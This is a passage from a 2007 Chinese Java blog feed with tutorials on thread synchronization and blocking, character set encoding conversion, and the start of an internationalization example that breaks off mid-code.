<p><br><font size=2>五：线程的同步<br>由于同一进程的多个线程共享同一片存储空间，在带来方便的同时，也带来了访问冲突这个严重的问题。Java语言提供了专门机制以解决这种冲突，有效避免了同一个数据对象被多个线程同时访问<br>由于我们可以通过 private 关键字来保证数据对象只能被方法访问，所以我们只需针对方法提出一套机制，这套机制就是 synchronized 关键字，它包括两种用法：synchronized 方法和 synchronized 块。<br>1. synchronized 方法：通过在方法声明中加入 synchronized关键字来声明 synchronized 方法。如<br>public synchronized void accessVal(int newVal);<br>synchronized 方法控制对类成员变量的访问：每个类实例对应一把锁，每个 synchronized 方法都必须获得调用该方法的类实例的锁方能执行，否则所属线程阻塞，方<br>法一旦执行，就独占该锁，直到从该方法返回时才将锁释放，此后被阻塞的线程方能获得该锁，重新进入可执行状态。这种机制确保了同一时刻对于每一个类实例，其所有声明为 synchronized 的成员函数中至多只有一个处于可执行状态（因为至多只有一个能够获得该类实例对应的锁），从而有效避免了类成员变量的访问冲突（只要所有可能访问类成员变量的方法均被声明为 synchronized）。<br>在 Java 中，不光是类实例，每一个类也对应一把锁，这样我们也可将类的静态成员函数声明为 synchronized ，以控制其对类的静态成员变量的访问。<br>synchronized 方法的缺陷：若将一个大的方法声明为synchronized 将会大大影响效率，典型地，若将线程类的方法 run() 声明为 synchronized ，由于在线程的整个生命期内它一直在运行，因此将导致它对本类任何 synchronized 方法的调用都永远不会成功。当然我们可以通过将访问类成员变量的代码放到专门的方法中，将其声明为 synchronized ，并在主方法中调用来解决这一问题，但是 Java 为我们提供了更好的解决办法，那就是 synchronized 块。<br>2. synchronized 块：通过 synchronized关键字来声明synchronized 块。语法如下： <br>synchronized(syncObject) {<br>//允许访问控制的代码<br>}<br>synchronized 块是这样一个代码块，其中的代码必须获得对象 syncObject （如前所述，可以是类实例或类）的锁方能执行，具体机制同前所述。由于可以针对任意代码块，且可任意指定上锁的对象，故灵活性较高。<br>六：线程的阻塞<br>为了解决对共享存储区的访问冲突，Java 引入了同步机制，现在让我们来考察多个线程对共享资源的访问，显然同步机制已经不够了，因为在任意时刻所要求的资源不一定已经准备好了被访问，反过来，同一时刻准备好了的资源也可能不止一个。为了解决这种情况下的访问控制问题，Java 引入了对阻塞机制的支持。<br>阻塞指的是暂停一个线程的执行以等待某个条件发生（如某资源就绪），学过操作系统的同学对它一定已经很熟悉了。Java 提供了大量方法来支持阻塞，下面让我们逐一分析。<br>1. sleep() 方法：sleep() 允许 指定以毫秒为单位的一段时间作为参数，它使得线程在指定的时间内进入阻塞状态，不能得到CPU 时间，指定的时间一过，线程重新进入可执行状态。<br>典型地，sleep() 被用在等待某个资源就绪的情形：测试发现条件不满足后，让线程阻塞一段时间后重新测试，直到条件满足为止。<br>2. suspend() 和 resume() 方法：两个方法配套使用，suspend()使得线程进入阻塞状态，并且不会自动恢复，必须其对应的resume() 被调用，才能使得线程重新进入可执行状态。典型地，suspend() 和 resume() 被用在等待另一个线程产生的结果的情形：测试发现结果还没有产生后，让线程阻塞，另一个线程产生了结果后，调用 resume() 使其恢复。<br>3. yield() 方法：yield() 使得线程放弃当前分得的 CPU 时间，但是不使线程阻塞，即线程仍处于可执行状态，随时可能再次分得 CPU 时间。调用 yield() 的效果等价于调度程序认为该线程已执行了足够的时间从而转到另一个线程。<br>4. wait() 和 notify() 方法：两个方法配套使用，wait() 使得线程进入阻塞状态，它有两种形式，一种允许 指定以毫秒为单位的一段时间作为参数，另一种没有参数，前者当对应的 notify() 被调用或者超出指定时间时线程重新进入可执行状态，后者则必须对应的 notify() 被调用。<br>初看起来它们与 suspend() 和 resume() 方法对没有什么分别，但是事实上它们是截然不同的。区别的核心在于，前面叙述的所有方法，阻塞时都不会释放占用的锁（如果占用了的话），而这一对方法则相反。<br>上述的核心区别导致了一系列的细节上的区别。<br>首先，前面叙述的所有方法都隶属于 Thread 类，但是这一对却直接隶属于 Object 类，也就是说，所有对象都拥有这一对方法。初看起来这十分不可思议，但是实际上却是很自然的，因为这一对方法阻塞时要释放占用的锁，而锁是任何对象都具有的，调用任意对象的 wait() 方法导致线程阻塞，并且该对象上的锁被释放。而调用 任意对象的notify()方法则导致因调用该对象的 wait() 方法而阻塞的线程中随机选择的一个解除阻塞（但要等到获得锁后才真正可执行）。<br>其次，前面叙述的所有方法都可在任何位置调用，但是这一对方法却必须在 synchronized 方法或块中调用，理由也很简单，只有在synchronized 方法或块中当前线程才占有锁，才有锁可以释放。同样的道理，调用这一对方法的对象上的锁必须为当前线程所拥有，这样才有锁可以释放。因此，这一对方法调用必须放置在这样的 synchronized 方法或块中，该方法或块的上锁对象就是调用这一对方法的对象。若不满足这一条件，则程序虽然仍能编译，但在运行时会出现IllegalMonitorStateException 异常。<br>wait() 和 notify() 方法的上述特性决定了它们经常和synchronized 方法或块一起使用，将它们和操作系统的进程间通信机制作一个比较就会发现它们的相似性：synchronized方法或块提供了类似于操作系统原语的功能，它们的执行不会受到多线程机制的干扰，而这一对方法则相当于 block 和wakeup 原语（这一对方法均声明为 synchronized）。它们的结合使得我们可以实现操作系统上一系列精妙的进程间通信的算法（如信号量算法），并用于解决各种复杂的线程间通信问题。<br>关于 wait() 和 notify() 方法最后再说明两点：<br>第一：调用 notify() 方法导致解除阻塞的线程是从因调用该对象的 wait() 方法而阻塞的线程中随机选取的，我们无法预料哪一个线程将会被选择，所以编程时要特别小心，避免因这种不确定性而产生问题。<br>第二：除了 notify()，还有一个方法 notifyAll() 也可起到类似作用，唯一的区别在于，调用 notifyAll() 方法将把因调用该对象的 wait() 方法而阻塞的所有线程一次性全部解除阻塞。当然，只有获得锁的那一个线程才能进入可执行状态。<br>谈到阻塞，就不能不谈一谈死锁，略一分析就能发现，suspend() 方法和不指定超时期限的 wait() 方法的调用都可能产生死锁。遗憾的是，Java 并不在语言级别上支持死锁的避免，我们在编程中必须小心地避免死锁。<br>以上我们对 Java 中实现线程阻塞的各种方法作了一番分析，我们重点分析了 wait() 和 notify() 方法，因为它们的功能最强大，使用也最灵活，但是这也导致了它们的效率较低，较容易出错。实际使用中我们应该灵活使用各种方法，以便更好地达到我们的目的。</font></p>
<p><font size=2>七：守护线程<br>守护线程是一类特殊的线程，它和普通线程的区别在于它并不是应用程序的核心部分，当一个应用程序的所有非守护线程终止运行时，即使仍然有守护线程在运行，应用程序也将终止，反之，只要有一个非守护线程在运行，应用程序就不会终止。守护线程一般被用于在后台为其它线程提供服务。<br>可以通过调用方法 isDaemon() 来判断一个线程是否是守护线程，也可以调用方法 setDaemon() 来将一个线程设为守护线程。</font></p>
<p><font size=2>八：线程组<br>线程组是一个 Java 特有的概念，在 Java 中，线程组是类ThreadGroup 的对象，每个线程都隶属于唯一一个线程组，这个线程组在线程创建时指定并在线程的整个生命期内都不能更改。你可以通过调用包含 ThreadGroup 类型参数的 Thread 类构造函数来指定线程属的线程组，若没有指定，则线程缺省地隶属于名为 system 的系统线程组。<br>在 Java 中，除了预建的系统线程组外，所有线程组都必须显式创建。<br>在 Java 中，除系统线程组外的每个线程组又隶属于另一个线程组，你可以在创建线程组时指定其所隶属的线程组，若没有指定，则缺省地隶属于系统线程组。这样，所有线程组组成了一棵以系统线程组为根的树。<br>Java 允许我们对一个线程组中的所有线程同时进行操作，比如我们可以通过调用线程组的相应方法来设置其中所有线程的优先级，也可以启动或阻塞其中的所有线程。<br>Java 的线程组机制的另一个重要作用是线程安全。线程组机制允许我们通过分组来区分有不同安全特性的线程，对不同组的线程进行不同的处理，还可以通过线程组的分层结构来支持不对等安全措施的采用。Java 的 ThreadGroup 类提供了大量的方法来方便我们对线程组树中的每一个线程组以及线程组中的每一个线程进行操作。</font></p>
<p><font size=2>九：总结<br>在这一讲中，我们一起学习了 Java 多线程编程的方方面面，包括创建线程，以及对多个线程进行调度、管理。我们深刻认识到了多线程编程的复杂性，以及线程切换开销带来的多线程程序的低效性，这也促使我们认真地思考一个问题：我们是否需要多线程？何时需要多线程？<br>多线程的核心在于多个代码块并发执行，本质特点在于各代码块之间的代码是乱序执行的。我们的程序是否需要多线程，就是要看这是否也是它的内在特点。<br>假如我们的程序根本不要求多个代码块并发执行，那自然不需要使用多线程；假如我们的程序虽然要求多个代码块并发执行，但是却不要求乱序，则我们完全可以用一个循环来简单高效地实现，也不需要使用多线程；只有当它完全符合多线程的特点时，多线程机制对线程间通信和线程管理的强大支持才能有用武之地，这时使用多线程才是值得的</font></p>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/135814.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-08-10 14:06 <a href="http://www.blogjava.net/WshmAndLily/articles/135814.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Java 字符集编码</title><link>http://www.blogjava.net/WshmAndLily/articles/135812.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Fri, 10 Aug 2007 06:04:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/135812.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/135812.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/135812.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/135812.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/135812.html</trackback:ping><description><![CDATA[首先看清楚几种常用的字符集编码(java语言是采用unicode字符集编码来表示字符与字符串的)：<br><br>　　<strong>ASCII</strong>(American Standard Code for Information Interchange，美国信息互换标准代码)，是基于常用的英文字符的一套电脑编码系统。我们知道英文中经常使用的字符、数字符号被计算机处理时都是以二进制码的形式出现的。这种二进制码的集合就是所谓的ASCII码。每一个ASCII码与一个8位（bit）二进制数对应。其最高位是0，相应的十进制数是0-127。如，数字&#8220;0&#8221;的编码用十进制数表示就是48。另有128个扩展的ASCII码，最高位都是1，由一些制表符和其它符号组成。ASCII是现今最通用的单字节编码系统。
<p>　　<strong>GB2312</strong>：GB2312码是中华人民共和国国家汉字信息交换用编码，全称《信息交换用汉字编码字符集－基本集》。主要用于给每一个中文字符指定相应的数字，也就是进行编码。一个中文字符用两个字节的数字来表示，为了和ASCII码有所区别，将中文字符每一个字节的最高位置都用1来表示。<br><br>　　<strong>GBK</strong>：为了对更多的字符进行编码，国家又发布了新的编码系统GBK(GBK的K是&#8220;扩展&#8221;的汉语拼音第一个字母)。在新的编码系统里，除了完全兼容GB2312 外，还对繁体中文、一些不常用的汉字和许多符号进行了编码。</p>
<p>　　<strong>ISO-8859-1</strong>：是西方国家所使用的字符编码集，是一种单字节的字符集 ，而英文实际上只用了其中数字小于128的部分。</p>
<p>　　<strong>Unicode</strong>：这是一种通用的字符集，对所有语言的文字进行了统一编码，对每一个字符都用2个字节来表示，对于英文字符采取前面加&#8220;0&#8221;字节的策略实现等长兼容。如 &#8220;a&#8221; 的ASCII码为0x61，UNICODE就为0x00，0x61。</p>
<p>　　<strong>UTF-8</strong>：Eight-bit UCS Transformation Format，(UCS，Universal Character Set，通用字符集，UCS 是所有其他字符集标准的一个超集)。一个7位的ASCII码值，对应的UTF码是一个字节。如果字符是0x0000，或在0x0080与0x007f之间，对应的UTF码是两个字节，如果字符在0x0800与0xffff之间，对应的UTF码是三个字节。</p>
<p>　　我们运行java程序时，JVM有自己所支持的编码种类，用以下代码可以看到：</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top> <span style="COLOR: #000000">Map m</span> <span style="COLOR: #000000">=</span> <span style="COLOR: #000000">Charset.availableCharsets();<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp; Set names</span> <span style="COLOR: #000000">=</span> <span style="COLOR: #000000">m.keySet();<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp; Iterator it</span> <span style="COLOR: #000000">=</span> <span style="COLOR: #000000">names.iterator();<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span> <span style="COLOR: #0000ff">while</span> <span style="COLOR: #000000">(it.hasNext())<br><img src="http://www.blogjava.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img style="DISPLAY: none" src="http://www.blogjava.net/Images/OutliningIndicators/ContractedBlock.gif" align=top>&nbsp;&nbsp;</span> <span style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"> </span><span><span style="COLOR: #000000">{<br><img src="http://www.blogjava.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp; System.out.println(it.next());<br><img src="http://www.blogjava.net/Images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>&nbsp;&nbsp; }</span> </span></div>
<p><br>　　 然后可以通过以下代码看到我们目前JVM所使用的编码：<br></p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top> <span style="COLOR: #000000">Properties pps</span> <span style="COLOR: #000000">=</span> <span style="COLOR: #000000">System.getProperties();<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp; pps.list(System.out);</span> </div>
<p>　　具体来说什么是编码，什么是解码？<br>　　在InputStreamReader JDK有这样描述：It reads bytes and decodes them into characters using a specified charset.(用指定的字符集将字节数组解码成字符串)。<br>　　相反OutputStreamWriter 描述：Characters written to it are encoded into bytes using a specified charset.(用指定的字符集将字符串编码成字节数组)。<br><br>　　理解这个以后一切好办了啦！<br><br>　　我们的OS一般是GBK编码的（凡是从磁盘上读取文件可以看成是用OS的字符集编码方式来对操作对象进行解码处理--从标准输入设备读取数据的时候是依赖OS的字符集）。而我们将从磁盘上文件经过处理得到我们想要的字符串等其它对象的时候，这一过程是用JVM的默认的字符集编码方式来处理的！由于不同的字符集编码方式有着不同的原理(前面所述)，这样当编码与解码不一致的时候，自然而然就出现了可爱的乱码。<br><br>　　比如如下，将我们JVM字符集改成iso-8859-1这样在就与我们的OS不同：<br>　　当输入中文时自然就输出的是乱码了。</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top> <span style="COLOR: #000000">pps.put(</span> <span style="COLOR: #000000">"</span> <span style="COLOR: #000000">file.encoding</span> <span style="COLOR: #000000">"</span> <span style="COLOR: #000000">,</span> <span style="COLOR: #000000">"</span> <span style="COLOR: #000000">ISO-8859-1</span> <span style="COLOR: #000000">"</span> <span style="COLOR: #000000">);<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span> <span style="COLOR: #0000ff">int</span> <span style="COLOR: #000000">data;<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span> <span style="COLOR: #0000ff">byte</span> <span style="COLOR: #000000">[] buf</span> <span style="COLOR: #000000">=</span> <span style="COLOR: #0000ff">new</span> <span style="COLOR: #000000"></span><span style="COLOR: #0000ff">byte</span> <span style="COLOR: #000000">[</span> <span style="COLOR: #000000">100</span> <span style="COLOR: #000000">];<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span> <span style="COLOR: #0000ff">int</span> <span style="COLOR: #000000">i</span> <span style="COLOR: #000000">=</span> <span style="COLOR: #000000">0</span> <span style="COLOR: #000000">;<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span> <span style="COLOR: #0000ff">while</span> <span style="COLOR: #000000">((data</span> <span style="COLOR: #000000">=</span> <span style="COLOR: #000000">System.in.read())</span> <span style="COLOR: #000000">!=</span> <span style="COLOR: #000000">'</span> <span style="COLOR: #000000">q</span> <span style="COLOR: #000000">'</span> <span style="COLOR: #000000">)<br><img src="http://www.blogjava.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img style="DISPLAY: none" src="http://www.blogjava.net/Images/OutliningIndicators/ContractedBlock.gif" align=top>&nbsp;&nbsp;</span> <span style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"> </span><span><span style="COLOR: #000000">{<br><img src="http://www.blogjava.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp; buf[i]</span> <span style="COLOR: #000000">=</span> <span style="COLOR: #000000">(</span> <span style="COLOR: #0000ff">byte</span> <span style="COLOR: #000000">)data;<br><img src="http://www.blogjava.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp; i</span> <span style="COLOR: #000000">++</span> <span style="COLOR: #000000">;<br><img src="http://www.blogjava.net/Images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>&nbsp;&nbsp; }</span> </span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp; String str</span> <span style="COLOR: #000000">=</span> <span style="COLOR: #0000ff">new</span> <span style="COLOR: #000000">String(buf,</span> <span style="COLOR: #000000">0</span> <span style="COLOR: #000000">,i);<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp; System.out.println(str);</span> </div>
<p>　<br>　　这时我们可以用string的一个构造方法：<br>　　<span style="COLOR: #000000">String(</span><span style="COLOR: #0000ff">byt</span><span style="COLOR: #000000">[] bytes, String charsetName) <br>　　Constructs a </span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000"> String by decoding the specified array of bytes using the specified </span>charset.(用指定的字符集对字节数组进行解码)。<br>　　其中用到了string 的getBytes方法：<br>　　getBytes(String charsetName) <br>　　Encodes this String into a sequence of bytes using the named charset, storing the result into a new byte array.(用指定的字符集进行编码，将结果存放到一字节数组里面)重新构造一个string：</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top> <span style="COLOR: #000000">String strGBK</span> <span style="COLOR: #000000">=</span> <span style="COLOR: #0000ff">new</span> <span style="COLOR: #000000">String(str.getBytes(</span> <span style="COLOR: #000000">"</span> <span style="COLOR: #000000">ISO-8859-1</span> <span style="COLOR: #000000">"</span> <span style="COLOR: #000000">),</span> <span style="COLOR: #000000">"</span> <span style="COLOR: #000000">GBK</span> <span style="COLOR: #000000">"</span> <span style="COLOR: #000000">);</span> </div>
<p>　　这样又可以重新得到我们想要的汉字了。<br><br>　　我们这例子中是GBK(OS)来编码的，然后采用iso-8859-1(JVM)来解码得到一个新string(此string是乱码)，然后将此string用iso-8859-1重新编码，并且用指定的GBK来解码。得到一个新string(也就是strGBK)，这个string就不再是乱码了。<br><br>　　但如果我们一开始就采用GBK解码得到的字符串，然后用ISO-8859-1编码，能否再解码回去得到我们的中文字符呢？显示不可以啦，因为用ISO-8859-1的编码的时候采用是一种单字节的字符集来对其编码，这样就丢失了一个字节(对中文来说)！所以这样是得不到中文字符的！</p>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/135812.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-08-10 14:04 <a href="http://www.blogjava.net/WshmAndLily/articles/135812.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>java国际化</title><link>http://www.blogjava.net/WshmAndLily/articles/135251.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Wed, 08 Aug 2007 07:08:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/135251.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/135251.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/135251.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/135251.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/135251.html</trackback:ping><description><![CDATA[<h3>一 介绍</h3>
<p><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 国际化（Internationalization</em><em>）</em>是<a href="http://soft.rdxx.com/Design/" target=_blank><u><font color=#0000ff>设计</font></u></a>一个适用于多种语言和地区的应用程序的过程。适用于多种语言和地区的含义是当使用不同语言及处于不同的地区的用户在使用这个应用程序时，应用程序必须使用他们能看懂的语言和符合他们文化习惯来显示信息。国际化有时候被简称为i18n，因为有18个字母在国际化的英文单词的字母i和n之间。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一个国际化的程序通常具有以下特征：</p>
<ul>
    <li>有一个附加的本地化数据（localized&nbsp; data）及拥有在全世界各个地区执行的能力。
    <li>文本的元素，比如状态信息或GUI截面的lables，不是直接写（hardcoded）在程序中，而是被存储在本地化的数据中，并且能被程序正确的动态的使用。
    <li>支持新的语言时，不需要修改程序，不需要重新编译。
    <li>文化差异的数据，比如日期和货币，必须根据拥护的语言和习惯显示不同的格式。
    <li>可以被迅速的本地化。</li>
</ul>
<p><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 本地化（Localization）</em>是指通过增加本地描述的构件（locale-specific components ）和文字翻译工作来使应用程序适应于不同的语言和地区的过程。本地化有时候被简称为l10n，应为有10个字母在本地化的英文单词的字母l和n之间。通常本地化最耗时的工作应该是文字翻译。本地化工作者们要根据地区的具体需求来为日期、数字和通货等数据建立新的格式。其他类型的数据，象声音，图象等，也需要根据具体需要来决定是否本地化。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 下面通过一个简单的例子来说明如何给一个程序提供国际化的特性。这个例子在不同的语言环境下显示不同的文本信息。</p>
<h5>一个简单的例子</h5>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;先看下面的一段代码：<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=#808080>public class NotI18N {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; static public void main(String[] args) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("Hello.");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("How are you?");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("Goodbye.");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br></font>&nbsp;&nbsp;&nbsp; 如果你决定在上面的程序中给德国和法国的不同用户显示同样的信息。但是你的程序员却不是个语言专家，他不懂德语和法语。所以你需要翻译人员把它翻译成德语和法语，但是你的翻译人员不懂程序，所以你可以把这些信息存到一个文本或其他格式的文件中供翻译人员使用。那么，程序必须能显示不同语言的信息，并且你并不知道你希望为这个程序提供的下一个语言支持是什么，或许是日语或许是别的什么语言。<br>&nbsp;&nbsp;&nbsp; 下面的代码是一个国际化的代码的例子：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color=#808080> import java.util.*;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public class I18NSample {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; static public void main(String[] args) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; String language;</p>
String country;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (args.length != 2) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; language = new String("en");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; country = new String("US");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } else {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; language = new String(args[0]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; country = new String(args[1]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Locale currentLocale;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ResourceBundle messages;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; currentLocale = new Locale(language, country);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; messages = ResourceBundle.getBundle("MessagesBundle",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; currentLocale);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(messages.getString("greetings"));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 